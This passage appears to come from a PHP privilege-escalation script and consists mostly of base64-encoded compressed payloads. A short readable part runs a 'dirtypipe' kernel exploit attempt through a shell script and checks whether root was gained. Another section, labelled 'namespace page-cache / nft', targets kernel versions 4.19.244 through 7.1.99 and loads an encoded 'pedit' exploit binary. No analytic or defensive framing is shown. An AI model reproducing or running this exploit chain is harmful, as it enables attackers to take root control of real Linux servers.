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'); if($dpipe && trim(xrun('command -v su'))!==''){ out('dirtypipe','try'); xrun('printf "sh '.$W.'/cash.sh\n" | '.shq($dpipe).' 2>&1', 70); step('dirtypipe','try'); if(rooted()) exit; } } /* ---- 9: namespace page-cache / nft ---- */ if ($USERN && en('proc_open')) { $aa = ($AAEXEC?' --ubuntu':''); if (vge($V,'4.19.244') && vlt($V,'7.1.99')) { $dp=pl('pedit','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